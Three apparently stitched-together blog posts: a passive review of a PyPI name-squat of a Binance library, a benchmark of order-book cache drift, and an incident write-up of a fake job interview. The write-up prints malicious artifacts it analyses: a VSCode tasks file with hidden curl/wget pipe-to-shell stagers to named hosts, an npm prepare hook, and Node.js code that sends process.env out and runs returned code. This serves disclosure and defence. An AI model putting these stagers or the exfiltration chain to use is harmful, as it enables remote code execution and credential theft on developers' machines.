That is exactly the kind of metadata confusion that package-name squats benefit from.

Recent download footprint

Recent PyPI / Linehaul download stats at the time of review:

The squat is still small.

That is the entire reason this is worth catching now.

There is no large installed userbase yet to harm.

Methodology

I treated the package as hostile until proven otherwise.

I did not run it.

I did not install it.

I did not import it.

I only downloaded the artifacts and inspected them passively:

curl -sS -o pkg.whl  https://files.pythonhosted.org/packages/.../*.whl
curl -sS -o pkg.tar.gz https://files.pythonhosted.org/packages/.../*.tar.gz
sha256sum pkg.whl pkg.tar.gz

python3 -m zipfile -l pkg.whl
tar -tzf pkg.tar.gz

python3 -m zipfile -e pkg.whl extracted/whl/
tar -xzf pkg.tar.gz -C extracted/
chmod -R a-x extracted/

Then I compared the contents against my official upstream 1.46.2 tag.

That is enough to answer the important question:

what code would a user get if they installed this package?

What is inside

The package installs into the same Python import namespace as the official package:

unicorn_binance_websocket_api/

That means a user can run:

pip install unicorn-binance-websocket-api-onion

and then write:

import unicorn_binance_websocket_api

At the import-path level, the -onion suffix disappears.

That is not a small detail.

The distribution name is different, but the Python module name is the same. This makes the package a drop-in shadow of the official one.

If a future version becomes malicious, the import statement would not reveal anything unusual.

The diff

The package is almost byte-identical to my official 1.46.2 release.

Most files are unchanged.

The relevant difference in manager.py is only this:

@@ -229,7 +229,7 @@
                  socks5_proxy_pass: Optional[str] = None,
                  socks5_proxy_ssl_verification: Optional[bool] = True,):
         threading.Thread.__init__(self)
-        self.name = "unicorn-binance-websocket-api"
+        self.name = "unicorn-binance-websocket-api-onion"
         self.version = "1.46.2"

That is the entire functional delta in manager.py: a name string.

The setup.py changes are also minimal:

-     name='unicorn-binance-websocket-api',
+     name='unicorn-binance-websocket-api-onion',

-     url="https://github.com/LUCIT-Systems-and-Development/unicorn-binance-websocket-api",
+     url="https://github.com/onionj/unicorn-binance-websocket-api",

-     install_requires=['colorama', 'requests', 'websocket-client', 'websockets==10.4', 'flask_restful',
+     install_requires=['colorama', 'requests', 'websocket-client', 'websockets>=10.4', 'flask_restful',

So the package was renamed, the project URL was changed, and one dependency pin was loosened.

That last point is easy to overlook, but it matters.

Changing websockets==10.4 to websockets>=10.4 is not a payload. It is not malicious by itself. But it shows that this was not only a blind archive copy. Someone touched the packaging metadata and made a maintenance-style change.

That makes the dormant-package risk more concrete: a package like this can stay clean today, receive small “reasonable” updates, and still remain positioned as a future supply-chain slot.

The author metadata was not changed.

That is the part I do not like.

What I did not find

I searched for the usual static indicators:

• exec(

• eval(

• compile(

• __import__

• base64.b64decode

• marshal.loads

• pickle.loads

• subprocess

• os.system

• os.popen

• suspicious requests.get / requests.post

• Telegram, Discord, webhook, .onion, tor2web

• wallet paths

• browser cookie paths

• SSH or cloud credential paths

• obvious C2 strings

• simple obfuscation patterns

I did not find a malicious payload.

The hits I did find were legitimate pre-existing code from the original project: Binance request signing, GitHub version checks, platform/user-agent handling, and normal library logic.

So the verdict for this version is clear:

unicorn-binance-websocket-api-onion version 1.46.2 is not malware.

That does not make it acceptable.

Why this is still a problem

The short version:

this is a clean package today, but it has the structure of a dormant supply-chain slot.

There are four separate issues here.

1. Identity spoofing

The package claims:

LUCIT Systems and Development <info@lucit.tech>

That identity does not belong to the uploader.

Users looking at package metadata may reasonably believe this is connected to the original project history.

It is not.

That is misleading even if the code is clean.

2. Namespace shadowing

The package name is different, but the import namespace is the same as the official package:

import unicorn_binance_websocket_api

That means the package behaves like a drop-in replacement.

There is no obvious runtime clue that the code came from a suffixed, unofficial distribution.

That is exactly the setup a future malicious update would exploit.

3. The name is plausible

The suffix -onion is not random.

It sounds like it could be a Tor/onion-routing variant.

There are legitimate Python projects and extras around SOCKS, Tor, proxies, and privacy routing. A developer searching for such functionality could plausibly think this package is an official variant.

It is not.

4. The maintainer profile makes the dormant-package risk concrete

This is the part that makes the package more concerning.

The PyPI account onionj maintains exactly two projects at the time of writing:

• unicorn-binance-websocket-api-onion

• pybotnet

That connection is public on the PyPI user profile.

pybotnet describes itself as:

A Python framework for building remote control, botnet, trojan or backdoor with Telegram or other control panels

Its own feature list includes a Telegram control panel, reverse shell, file upload/download, remote Python code execution, screenshots, keylogger functionality, DoS, scheduling, and custom scripts.

I am not claiming that pybotnet is illegal malware.

I am also not claiming that unicorn-binance-websocket-api-onion is malicious in the version I reviewed.

But this combination matters.

The same account that publishes remote-control / botnet / trojan / backdoor tooling also uploaded a near-identical fork of my Binance trading library, under a plausible suffix, into the same import namespace, while keeping historical LUCIT author metadata that makes it look more official than it is.

That is not proof of an active attack.

But it is a very uncomfortable dormant supply-chain setup.

A clean package can still be a staging point:

1. publish a harmless fork,

2. use a plausible name,

3. keep the official import namespace,

4. make small maintenance-looking changes,

5. accumulate a few downloads,

6. wait until it lands in a script, CI job, Dockerfile, or AI-generated install instruction,

7. weaponize a later release.

The right time to remove that setup is before the final step.

Clean does not mean harmless

This is the important part.

Security teams often look for malware.

That makes sense.

But package-index abuse is not always malware on day one.

Sometimes the first step is just occupying a name.

Or copying a brand.

Or shadowing an import namespace.

Or making a package look official enough that one user, one developer, one CI pipeline, or one AI-generated install instruction picks it up.

Once that happens, the uploader does not need to win the whole ecosystem.

They only need one useful installation.

This is why clean typosquats matter.

They are not harmless just because the current artifact has no payload.

They are infrastructure.

How this relates to the GitHub impersonation campaign

The recent GitHub impersonation campaign was different.

That one was already weaponized.

It used fake repositories impersonating known open source projects and delivered malware through a Python dropper.

This PyPI package is not that.

But the trust primitive is the same:

the user relies on a recognizable project name.

On GitHub, that trust was abused through repository impersonation.

On PyPI, it is abused through package-name similarity, metadata spoofing, and import namespace shadowing.

Different vector.

Same weak point.

Developer trust.

Why this matters for Binance developers

UNICORN Binance WebSocket API is used by developers who connect trading systems, bots, dashboards, and infrastructure to Binance.

That makes package identity more sensitive than it may look at first glance.

A malicious package in this space does not need to steal money directly to cause serious damage.

It could steal environment variables.

It could read API keys.

It could exfiltrate account metadata.

It could observe trading infrastructure.

It could tamper with stream handling.

It could simply prepare a developer machine for a second-stage compromise.

This is exactly why I care about these cases early.

A clean squat today can become a dangerous dependency tomorrow.

And when the affected ecosystem is automated trading, “tomorrow” is too late.

Recommendations for users

If you use UNICORN Binance WebSocket API, the official package is:

pip install unicorn-binance-websocket-api

Not:

pip install unicorn-binance-websocket-api-onion

There is no official -onion package.

If you find unicorn-binance-websocket-api-onion in an environment, remove it and replace it with the official distribution.

Also check how it got there.

Look in:

• requirements.txt

• pyproject.toml

• setup.py

• Dockerfiles

• CI workflows

• deployment scripts

• cached virtual environments

• internal package mirrors

For any package, not just mine, check:

• the exact distribution name

• the project URL

• the author metadata

• the upload history

• whether the import namespace matches a different known project

• whether the package has a plausible-but-unofficial suffix like -secure, -pro, -fast, -onion, -tor, -utils, or -plus

These checks take seconds.

They prevent ugly surprises.

Recommendation for PyPI

I am reporting this package.

The removal argument is not that the current artifact contains malware.

The removal argument is:

• misleading project name

• spoofed historical author metadata

• same import namespace as the official package

• no legitimate reason to exist under this naming pattern

• concrete dormant-package risk

The installed footprint appears to be small.

That makes now the right time to remove it.

Removing a dormant squat before it is used is much less disruptive than removing a weaponized package after it has landed in production environments.

Recommendation for maintainers

Run name-collision sweeps for your own projects.

Search PyPI for your package names plus common suffixes:

-onion
-tor
-secure
-pro
-fast
-utils
-plus
-client
-api

If something looks suspicious:

1. Download the artifacts.

2. Do not install them.

3. Do not import them.

4. Inspect the wheel and sdist statically.

5. Compare against your own release.

6. Record hashes.

7. Check metadata.

8. Report with a concise technical summary.

You do not need a huge malware lab for this kind of first-pass triage.

A clean diff, hashes, and a clear explanation are already useful.

Closing note

The interesting thing about this case is not the malware.

There is none in the version I reviewed.

The interesting thing is the setup:

a spoofed brand, a plausible suffix, the official import namespace, old author metadata, and a maintainer profile that makes the dormant slot uncomfortable.

That is enough.

A supply-chain attack does not start when the payload executes.

It often starts earlier, when trust is quietly acquired.

That is why I am reporting this package now.

Not because it is malware today.

Because it should not be allowed to become useful tomorrow.

I hope you found this informative and useful.

Follow me on Binance Square, GitHub, X, and LinkedIn, or join Telegram for updates on my latest publications. Constructive feedback is always appreciated.

Thank you for reading, and happy coding! ¯\_(ツ)_/¯

Not “a little bit noisy”. Not “slightly delayed”. Wrong in the way that only shows up when you stop looking at best bid / best ask and audit the whole local book.

After a single quiet day on BTCUSDT, my naive no-retention DepthCache ended up with only 24.09% matching bid levels and 39.82% matching ask levels. Most of the local book had turned into ghosts: price levels still present locally, but no longer present in a fresh REST snapshot.

I have known about this class of problem for years. So have other people who have shipped trading systems against Binance. Most of us learned it the hard way, patched our own systems, and moved on.

I already wrote up the mechanism in Your Binance Order Book Is Wrong — Here's Why. That article explains the bug class. This one is the forensic benchmark: the same problem measured over 25 hours with a naive implementation and a pruned implementation running side by side.

This time I wanted numbers.

So I ran two DepthCaches side by side for 25 hours, fed by the same WebSocket stream, audited hourly against fresh REST snapshots, and plotted the decay in 3D.

Here is the proof.

What a DepthCache is, and what the Binance docs say

A DepthCache (DC) is a local mirror of the order book. You keep bids and asks per price level in memory and update them from the exchange stream, so your strategy does not need to hit REST every time it wants to know where the book currently is.

Binance documents how to manage a local Spot order book. The current guide is better than many older code examples floating around: it uses a REST snapshot with limit=5000, explains how to align buffered WebSocket events with lastUpdateId, and explicitly documents update-ID continuity checks.

Short version of the official flow:

1. Open a WebSocket to <symbol>@depth.

2. Buffer events.

3. Fetch GET /api/v3/depth?symbol=...&limit=5000.

4. Align buffered events with the snapshot's lastUpdateId.

5. Apply updates in order.

6. If an event proves you missed updates, discard the local book and restart from a fresh snapshot.

7. For every streamed price level, set the new quantity; if quantity is zero, remove the level.

The important part is not what Binance gets right here. The guide does document update continuity. It also warns that because REST snapshots are limited to 5000 levels per side, you will not know quantities for levels outside the initial snapshot unless those levels change, and that those levels may not reflect the full view of the order book.

That warning is the key.

The guide tells you how to synchronize and how to apply events. It does not define a retention policy for a bounded local cache. It does not say what your local book's maximum depth should be after hours of streamed updates. It does not say when to evict levels that entered through the stream but are no longer inside the view you can validate.

That missing retention rule is where the rot starts.

What the stream actually does

The depth stream does not care about the conceptual depth corridor your local application wants to maintain.

In practice, it can send updates for levels far away from the current mid price: ladders placed and pulled 2% away from mid, deep ask-side repricing, limit orders parked far away in case of a flash move, and other book activity that your local cache may not have a stable baseline for.

A naive DC applies those updates anyway.

It sees a price level. It inserts it. The normal update procedure removes that level only if a later qty=0 arrives for the same price. Sometimes that cleanup event never arrives in a way your local cache can rely on. The level may have been cancelled, replaced, moved, or simply fallen out of the region that your local implementation still validates.

So it stays.

And then the next one stays.

And the next one.

After a few hours, your local order book is no longer a bounded view of the exchange book. It is a growing collection of historical levels.

I once discussed this exact class of problem with a Binance engineer in Telegram. The takeaway was clear: production systems cannot stop at basic synchronization; they need their own pruning, gap handling, and resync logic.

This is not a new class of problem. A public Binance depth-cache note from 2017 already described the same operational issue: if the order book shifts far enough from the snapshot, a local book can miss levels, and the implementation has to track that shift and resync.

Historical Binance Depth Cache Notes

This eventually became a tracked issue while I was debugging drift in my own UNICORN Binance Local Depth Cache implementation:

https://github.com/oliver-zehentleitner/unicorn-binance-local-depth-cache/issues/45

But a known issue is not the same as a measured failure mode.

So I measured it.

The setup

I ran two DepthCaches. Same symbol, same stream, same audit schedule.

Only one thing changed.

• naive — insert streamed levels, update quantities, remove only on qty=0, no active pruning / retention policy.

• fixed — same initialization and update logic, but with active pruning back to the top-1000 levels per side after applied updates.

This benchmark uses a top-1000 target corridor on purpose. That makes the experiment smaller, faster to inspect, and more brutal in the charts. It is not claiming that Binance's current documentation says to initialize with limit=1000; the current guide says limit=5000.

The tested failure mode is more specific and more important:

What happens when a local order book inserts streamed price levels but does not enforce an active retention boundary?

A larger initial snapshot gives you a wider starting view. It does not by itself define what to do with streamed levels after the local book has been running for hours. Without a retention policy, the same class of stale-level accumulation still exists — just with a wider corridor and a different time profile.

The fixed variant is intentionally minimal. It does not include full UBLDC behavior. UBLDC also does update-ID gap detection and full resync on protocol violations. Binance documents that continuity check, and production code should implement it. I left it out of fixed deliberately, because this experiment isolates one variable only: pruning.

Both DCs were fed by the same WebSocket subscription via UBWA: one stream, two consumers.

Both were audited against the same REST snapshots at the same timestamps.

So any difference between naive and fixed comes from the retention strategy, not from feed drift.

The audit ran once per hour, with one extra audit immediately after initial sync and another after five minutes. Each audit fetched a fresh REST snapshot with limit=5000 and classified every local price level as one of:

• match — level exists in REST and local cache, quantity is equal

• drift — level exists in both, but quantity differs

• orphaned — level exists locally, but not in REST ← the important one

• missed — level exists in REST, but not locally

The limit=5000 audit snapshot is deliberate. It checks whether a locally orphaned level is still alive deeper in REST's view, or whether it is stale relative to Binance's largest public REST snapshot.

One important methodology note: missed will show roughly 4000 levels per side for both variants. That is expected. REST returns 5000 levels, but both DCs only claim to maintain a top-1000 corridor. Those 4000 are not the failure.

The health metric that matters here is:

How much of the local cache still matches REST?

Results

The run lasted 25.10 hours on BTCUSDT, from 2026-04-28 08:51 to 2026-04-29 10:18 Europe/Vienna time.

BTC was calm during the window: total mid-price range was only 1.88%, with no flash event.

That matters. A quiet market is the easy case. More movement means more old levels falling out of the active region and more stale levels accumulating. So these numbers are not worst-case. They are probably closer to a lower bound for this no-retention pattern.

The headline chart

Open interactive chart: comparison.html

Final numbers

The naive DC starts almost perfect. At t=0 it has 99.6% bid match.

Then it rots.

For the first six hours, the decay is roughly linear. After that, it plateaus with only about a quarter to a third of bid-side local levels still matching REST.

The fixed DC stays in the 75-97% match range over the full run. The lower bound around audit #15, #20, and #24 corresponds exactly to audits taken right after WebSocket reconnects; the run log confirms reconnect events at those audit timestamps.

There were 10 reconnects total, all auto-recovered by UBWA, but each reconnect can leave a small update-ID gap. Pruning cannot repair that. Gap detection and resync can.

That is exactly why production-grade DC logic needs both:

• pruning, to prevent stale levels from accumulating

• gap detection and resync, to recover from broken update continuity

The 3D scatter

The 3D plots make the failure obvious.

Open interactive 3D chart: report_naive.html
Warning: large Plotly file, about 78 MB.

Open interactive 3D chart: report_fixed.html
Warning: large Plotly file, about 41 MB.

In the naive plot, the red orphaned tail is the story.

It is not random noise. It forms a coherent ribbon of dead levels trailing the mid price. As the market moves, levels that were once near the active book fall out of the bounded view. The naive cache never evicts them.

So they become ghosts.

The fixed plot is what a bounded local book should look like. The remaining orange and red points near the top of book are explainable by audit-time race conditions and reconnect gaps. Those are separate, known problems. They are not evidence against pruning.

The forensic plots

For anyone tempted to call this measurement error, the forensic plots tell the same story from different angles.

Distance of orphaned levels from mid: orphaned levels cluster around ±0.5-2% from the mid price. They are shaped by market movement. The tails get fatter audit by audit because old levels accumulate.

Open interactive chart: distance_naive.html

Age of orphaned levels: for every orphaned level in the final audit, I checked all 27 archived REST snapshots and asked when REST last contained that price.

The result is bimodal:

• a smaller group of recently rotted levels, last seen 1-5 hours ago

• a huge spike at “never seen”

That second group is important. These levels arrived through the diff stream, but were never present in any archived REST limit=5000 snapshot. They entered the local cache from outside the audited REST corridor and then stayed there as dead weight.

Open interactive chart: age_naive.html

Volatility correlation: per-hour growth in orphaned levels correlates with per-hour absolute mid-price movement. More movement, more rot.

The biggest single-window mid move in this run was only 0.07%. Even that modest move produced a visible orphaned-level jump. On a flash-down or high-volatility day, this would look much worse.

Open interactive chart: volatility_naive.html

Why it happens, in one paragraph

The REST snapshot gives you a bounded initial view. The diff stream can then deliver updates for price levels outside the view your application intends to maintain. The documented update procedure tells you how to apply those updates and how to detect broken update continuity, but it does not define a long-running retention policy for a bounded local cache. So a naive implementation inserts levels it cannot reliably validate later, and keeps them until it happens to receive a cleanup update. There is no safe operational guarantee that this will happen for every deep level before the local book becomes polluted. Over time, the cache accumulates orphaned price levels. After 25 quiet hours, the naive DC contains tens of thousands of stale levels and no longer resembles Binance's largest public REST snapshot outside the very top of book.

What to do

There are three sane options.

1. Use something that explicitly handles this.

UBLDC (UNICORN Binance Local Depth Cache) does bounded book maintenance, stale-level pruning, update-ID gap detection, and full resync on protocol violations. Yes, I work on it, so I am biased. But the real point is broader:

Do not trust a DepthCache implementation just because it can follow the Binance synchronization steps.

Trust it only if it can explain these things:

• What is the maximum local depth per side after 24 hours?

• Which levels are allowed to stay in memory?

• When are stale levels evicted?

• How is update-ID continuity verified?

• What happens after a WebSocket reconnect?

• When is the local book discarded and rebuilt?

If your library or internal implementation cannot answer those questions, it is probably not production-safe.

2. Roll your own with active pruning.

If you have a reason to maintain your own DC code, the minimum additional logic is active pruning back to the depth corridor you can actually validate.

# After applied updates:
if len(bids) > top_n:
    keep = sorted(bids.keys(), reverse=True)[:top_n]
    bids = {p: bids[p] for p in keep}

if len(asks) > top_n:
    keep = sorted(asks.keys())[:top_n]
    asks = {p: asks[p] for p in keep}

In production, you would usually prune with a small tolerance window instead of sorting on every single update. The invariant is the same: the local book must not be allowed to grow beyond the depth corridor you can actually validate.

That alone took this experiment from a rotting book — roughly 24% bid match and 40% ask match — to a much healthier 88% bid match and 92% ask match.

It is not a micro-optimization. It is correctness logic.

3. Detect gaps and resync.

Pruning fixes stale-level accumulation. It does not fix broken update continuity.

Each diff event has U and u fields. Binance documents that if an event's first update ID is greater than your local update ID + 1, you missed events and must discard the local order book and restart from the beginning.

That can happen during WebSocket reconnects, server-side hiccups, local buffering problems, network loss, or payload backpressure.

When it happens, do not “continue carefully”. Discard the local book and reinitialize from a fresh REST snapshot.

The 10 reconnects during this run are visible in the fixed variant as small match% dips. They are not solved by pruning. They are solved by gap detection plus resync.

A production DepthCache needs both.

Reproducibility

The supplementary material index is here:

https://oliver-zehentleitner.github.io/binance-depthcache-forensics

The public GitHub repository is here:

• github.com/oliver-zehentleitner/binance-depthcache-forensics

It tracks the GitHub Pages index, interactive chart links, raw audit data, and benchmark context.

The whole experiment is about 600 lines of Python (dc.py, audit.py, plotter.py, run.py, analysis.py) plus the unicorn-binance-websocket-api dependency and Plotly.

The raw data is available here:

https://oliver-zehentleitner.github.io/binance-depthcache-forensics/raw_data.tar.gz

It contains the audit JSON files, archived REST snapshots, and run logs. If you want to verify a number from this article, it is in there.

Supporting charts are also available:

• counts_naive.html

• counts_fixed.html

• volatility_fixed.html

Related reading

If you want the shorter conceptual version before the benchmark, start here:

• Your Binance Order Book Is Wrong — Here's Why

That article explains the failure mode. This article proves how fast and how far it accumulates in a real run when no active retention policy is enforced.

Final note

If you currently run a trading strategy against a DepthCache you wrote yourself, dump it and compare it against a fresh REST snapshot.

Not the best bid.

Not the first ten levels.

The whole local book.

You may not like what you find.

I hope you found this informative and useful.

Follow me on Binance Square, GitHub, X, and LinkedIn, or join Telegram for updates on my latest publications. Constructive feedback is always appreciated.

Thank you for reading, and happy coding! ¯\_(ツ)_/¯

2026-04-29 — A fake recruiter tried to walk me into opening a malicious VSCode workspace.
I refused, preserved the artifacts, mapped the infrastructure, and submitted the IOCs to public threat-intel feeds.

TL;DR

Today I was invited to what looked like a normal Google Meet job interview.

The recruiter asked me to review a Web3 poker/casino repository and open it in VSCode.

I did not.

Instead, I inspected the repository in the browser first and found a malicious .vscode/tasks.json file.

The repository was configured to execute shell commands automatically when the folder is opened in VSCode after Workspace Trust is granted:

• Linux: wget ... | sh

• macOS: curl ... | bash

• Windows: curl ... | cmd

The commands were visually hidden by pushing the "command" field more than 200 columns to the right with whitespace padding.

The payloads were hosted on rotating Vercel subdomains under /api/settings/{linux,mac,windows}.

Further analysis showed a second execution path through npm install, a BeaverTail-style Node.js RCE/exfil chain hidden behind a base64-encoded .env value, and infrastructure rotating across at least 16 Vercel-hosted projects since January 2026.

I submitted the indicators and infrastructure reports to:

• abuse.ch ThreatFox

• abuse.ch URLhaus

• AlienVault OTX

• GitHub Trust & Safety

• Vercel Trust & Safety

• LinkedIn Trust & Safety

Vercel has acknowledged the abuse report under case number 01139817.

GitHub has acknowledged the repository abuse report under support ticket #4339052.

This is the lesson:

Opening an unknown repository in a modern developer tool is not a passive action anymore.

The old mental model was:

"I did not run the code, I only opened the project."

That model is broken.

The real question is:

"Did my tooling trust the project?"

How it started

On 2026-04-13, I received a LinkedIn InMail from a profile using the name:

John Armour Lamont
CEO & Founder | Climate action through Technology

The message looked like ordinary recruiter outreach:

• DevSecOps

• security architecture

• Kubernetes

• CI/CD

• scalable infrastructure

• Web3 platform

• DevSecOps Lead / Solution Architect

All of that matches my public LinkedIn profile closely enough to feel plausible.

But the message also had the classic smell of a generic lure:

• no company name

• no product name

• no founder names

• no funding source

• no concrete architecture

• no concrete chain

• no real technical framing

I asked for details before scheduling anything.

The answer stayed vague:

"The MVP is completed, and we've secured initial funding $6M."
"The team is lean but growing."
"We're leveraging EVM compatible chains."
"It would be better to discuss this during the meeting."

That is not proof of malice.

But it is exactly the kind of vague-but-plausible language that works well in recruiter pretexts.

A few Calendly links later, we scheduled the call.

The thing that saved me

Two days before the interview, I read a Reddit post about a Claude Code proof-of-concept by Zhangir Ospanov.

The PoC is here:

https://github.com/s0ld13rr/claude-code-backdoor

The core point was simple:

Claude Code can execute project-local hooks from .claude/settings.json when a trusted project starts.

That is not a magic exploit. It is tool behavior.

But the security boundary matters.

The dangerous situation is not:

"I ran the malware."

The dangerous situation is:

"I opened an untrusted project inside a tool that can execute project-local automation."

That same pattern exists across modern developer tooling:

• .vscode/tasks.json

• .claude/settings.json

• Cursor / Windsurf project configs

• package.json scripts

• preinstall / postinstall / prepare

• Makefiles

• Git hooks

• Docker Compose files

• CI configs

• language-server initialization paths

I made a mental note:

If somebody asks me to open an unfamiliar repository in any IDE, inspect the project automation files first.

Two days later, that note mattered.

The interview

On 2026-04-29, the Google Meet call started normally.

We talked about my background. There were no meaningful technical questions. No architecture discussion. No real DevSecOps interview.

Then, about 25 minutes in, the recruiter sent the repository:

https://github.com/Novara1o1/jackpot

The project looked like a Web3 poker/casino application.

The README looked plausible. The repository had history. The stack looked believable:

• React

• Next.js

• Solidity

• Hardhat

• ethers.js

• MongoDB

• SettleMint references

I said:

"This is JavaScript. I mostly do Python."

The answer:

"That's fine. Just review it. Could you open it in VSCode?"

That was the trigger.

Why VSCode specifically?

I had already told him I use PyCharm.

A normal interviewer would not care which editor I use for a superficial review.

But this repository cared.

So I did not open it in VSCode.

I inspected it in the browser.

Then I went straight to .vscode/.

The VSCode trap

The repository contained a .vscode/tasks.json file with folder-open tasks.

Simplified, the relevant part looked like this:

{
  "version": "2.0.0",
  "tasks": [
    {
      "label": "install-root-modules",
      "type": "shell",
      "command": "npm install --silent --no-progress",
      "runOptions": {
        "runOn": "folderOpen"
      },
      "presentation": {
        "reveal": "silent",
        "echo": false,
        "focus": false,
        "panel": "new",
        "showReuseMessage": false,
        "clear": true
      }
    },
    {
      "label": "env",
      "type": "shell",
      "linux": {
                                                                                                                                                                                                                                         "command": "wget -qO- 'https://ip-address-check-mo.vercel.app/api/settings/linux' | sh"
      },
      "osx": {
                                                                                                                                                                                                                                         "command": "curl -L 'https://ip-address-check-mo.vercel.app/api/settings/mac' | bash"
      },
      "windows": {
                                                                                                                                                                                                                                         "command": "curl --ssl-no-revoke -L https://ip-address-check-mo.vercel.app/api/settings/windows | cmd"
      },
      "presentation": {
        "reveal": "silent",
        "echo": false,
        "focus": false,
        "close": true,
        "panel": "new",
        "showReuseMessage": false,
        "clear": true
      },
      "runOptions": {
        "runOn": "folderOpen"
      }
    }
  ]
}

The important part is not only the command.

The important part is the interaction:

"runOptions": {
  "runOn": "folderOpen"
}

combined with:

"presentation": {
  "reveal": "silent",
  "echo": false,
  "focus": false,
  "close": true
}

This means:

1. The task is eligible to run when the folder opens.

2. After Workspace Trust is granted, the shell command can execute.

3. The terminal output is suppressed or hidden.

4. The command is not clearly surfaced as a separate, explicit security decision.

And then there is the visual trick:

The "command" field was pushed far to the right with whitespace.

In the sample I analyzed, the malicious command began after more than 200 ASCII spaces.

The repository's .vscode/settings.json also set:

{
  "editor.wordWrap": "off"
}

So a casual reviewer opening the file in VSCode sees a harmless-looking structure and may not visually notice the command at all.

This is not clever cryptography.

It is better than that.

It abuses developer habit.

Why this works

The attacker does not need to convince the developer to run malware.

They only need to convince the developer to follow a normal workflow:

clone repo
open folder
trust workspace
let tooling initialize

That is the real trust-boundary failure.

The human thinks:

"I am just opening the project."

The tool thinks:

"This workspace is trusted, so project automation can run."

The attacker thinks:

"Perfect."

This is the same class of problem as:

• Claude Code hooks in .claude/settings.json

• package manager lifecycle scripts

• Makefile targets

• Git hooks

• CI workflow files

• language-specific project bootstrap files

The security boundary is no longer:

Did I manually execute the application?

The security boundary is:

Did my tooling trust the project?

The first payload layer: Vercel-hosted stagers

The active lure repository referenced this domain:

ip-address-check-mo.vercel.app

with OS-specific endpoints:

/api/settings/linux
/api/settings/mac
/api/settings/windows

The commands used the classic download-and-execute pattern:

wget -qO- 'https://ip-address-check-mo.vercel.app/api/settings/linux' | sh

curl -L 'https://ip-address-check-mo.vercel.app/api/settings/mac' | bash

curl --ssl-no-revoke -L https://ip-address-check-mo.vercel.app/api/settings/windows | cmd

That is not a settings API.

That is a staged execution path.

During the investigation, I mapped a rotating set of Vercel-hosted projects used by the same campaign pattern.

The Stage-1 stager infrastructure observed so far:

There are obvious operator mistakes in that list:

• doubled .vercel.app

• vercel-ten.app instead of .vercel.app

• addess instead of address

That matters.

Typos are often better pivot material than perfect infrastructure.

They show manual editing, copy/paste drift, and operational pressure.

The second payload layer: npm lifecycle execution

The VSCode path was not the only execution vector.

The repository also carried an npm-based path.

In package.json:

"scripts": {
  "start": "node server/server.js | react-scripts --openssl-legacy-provider start",
  "build": "node server/server.js | react-scripts --openssl-legacy-provider build",
  "test": "node server/server.js | react-scripts --openssl-legacy-provider test",
  "eject": "node server/server.js | react-scripts --openssl-legacy-provider eject",
  "prepare": "node server/server.js"
}

The dangerous one is:

"prepare": "node server/server.js"

prepare is an npm lifecycle script.

So if the victim does not open the project in VSCode but instead runs:

npm install

the server-side JavaScript still executes.

That gives the attacker two chances:

1. IDE auto-execution via .vscode/tasks.json

2. npm lifecycle execution via prepare

This is exactly how good malware chains are built.

They do not rely on one path.

They layer normal developer behaviors until one of them fires.

The third layer: BeaverTail-style Node.js RCE and environment exfiltration

The repository also contained a hidden runtime chain in the application code.

In server/routes/api/auth.js, simplified:

const verified = validateApiKey();

if (!verified) {
  console.log("Aborting mempool scan due to failed API verification.");
  return;
}

async function validateApiKey() {
  verify(setApiKey(process.env.AUTH_API))
    .then((response) => {
      const executor = new Function("require", response.data);
      executor(require);
      return true;
    })
    .catch((err) => {
      return false;
    });
}

In server/controllers/auth.js:

const setApiKey = (s) => atob(s);

const verify = (api) =>
  axios.post(api, { ...process.env }, {
    headers: {
      "x-app-request": "ip-check"
    }
  });

What this does:

1. Reads process.env.AUTH_API

2. Base64-decodes it

3. POSTs the entire process.env to the decoded URL

4. Receives JavaScript code as response

5. Executes that code with:

new Function("require", response.data)

That is full Node.js RCE.

It also exfiltrates the victim's environment variables.

The .env file is designed to look harmless:

NODE_ENV=development
PORT=3000
ALCHEMY_API_KEY=demo-alchemy-0123456789abcdef
ETHERSCAN_API_KEY=etherscan_demo_ABC123DEF456
POLYGONSCAN_API_KEY=polygonscan_demo_ABC123DEF456
INFURA_IPFS_PROJECT_ID=infura-ipfs-demo-112233
OPENAI_API_KEY=sk-test_OpenAIkey1234567890
PINATA_API_KEY=pinata_test_key_9876543210
STRIPE_SECRET_KEY=sk_test_STRIPEKEY123456
COINBASE_COMMERCE_API_KEY=cc_test_COINBASE12345
AUTH_API=aHR0cHM6Ly95LWhhemVsLXRlbi52ZXJjZWwuYXBwL2FwaQ==
AWS_ACCESS_KEY_ID=AKIAEXAMPLE12345
AWS_SECRET_ACCESS_KEY=SecretKeyExample/AbC1234567890

Most values are obvious demo placeholders.

One value is not.

AUTH_API=aHR0cHM6Ly95LWhhemVsLXRlbi52ZXJjZWwuYXBwL2FwaQ==

Decoded:

https://y-hazel-ten.vercel.app/api

That is a second Vercel-hosted endpoint, separate from the VSCode stager rotation.

So the repository contains at least two distinct malicious infrastructure paths:

• Stage-1 OS-specific shell stagers under /api/settings/{linux,mac,windows}

• Stage-2 BeaverTail-style Node.js RCE/exfil endpoint under /api

The fake x-app-request: ip-check header is there to make the traffic look like a harmless IP or environment check.

It is not harmless.

It sends the victim's environment to the operator.

Why I classify this as Contagious-Interview-style tradecraft

I am careful with attribution.

I cannot prove who sat behind the keyboard during my call.

The LinkedIn profile may be fake, compromised, impersonated, or operated by the attacker.

But the tradecraft strongly overlaps with publicly documented Contagious Interview activity:

• fake recruiter outreach

• Web3 / crypto / casino / blockchain lure projects

• GitHub-hosted project repositories

• developer asked to open the project locally

• npm lifecycle execution paths

• JavaScript malware

• BeaverTail-style code patterns

• base64-obfuscated C2 endpoint

• environment-variable exfiltration

• remote JavaScript execution via new Function

• Vercel-hosted rotating infrastructure

• short-lived operator accounts

That is the important point.

Whether the exact operator label is Lazarus, Sapphire Sleet, DEV#POPPER, CL-STA-0240, OtterCookie, or another overlapping cluster is less important for defenders than the execution pattern.

The practical defensive message is the same:

Fake job interviews are being used to get developers to execute malware through normal project tooling.

What I reported

I submitted the malicious repository and infrastructure to the relevant platforms.

Vercel Trust & Safety

Vercel acknowledged the report under case number:

01139817

The report covered:

• 15 Stage-1 Vercel stager domains

• 1 Stage-2 BeaverTail-style RCE/exfil endpoint

• shared URL pattern /api/settings/{linux,mac,windows}

• likely shared operator naming patterns

• known GitHub-attributed operator emails

• ThreatFox and URLhaus references

The requested actions were:

1. Take down the listed malicious projects

2. Block redeployment by related operator accounts

3. Hunt for sister projects using the same naming and endpoint patterns

4. Preserve metadata for correlation with abuse.ch / law enforcement where appropriate

GitHub Trust & Safety

GitHub acknowledged the report under support ticket:

#4339052

Reported repository:

https://github.com/Novara1o1/jackpot

Reason:

• malicious .vscode/tasks.json

• runOn: folderOpen

• silent shell stager execution

• npm lifecycle execution path

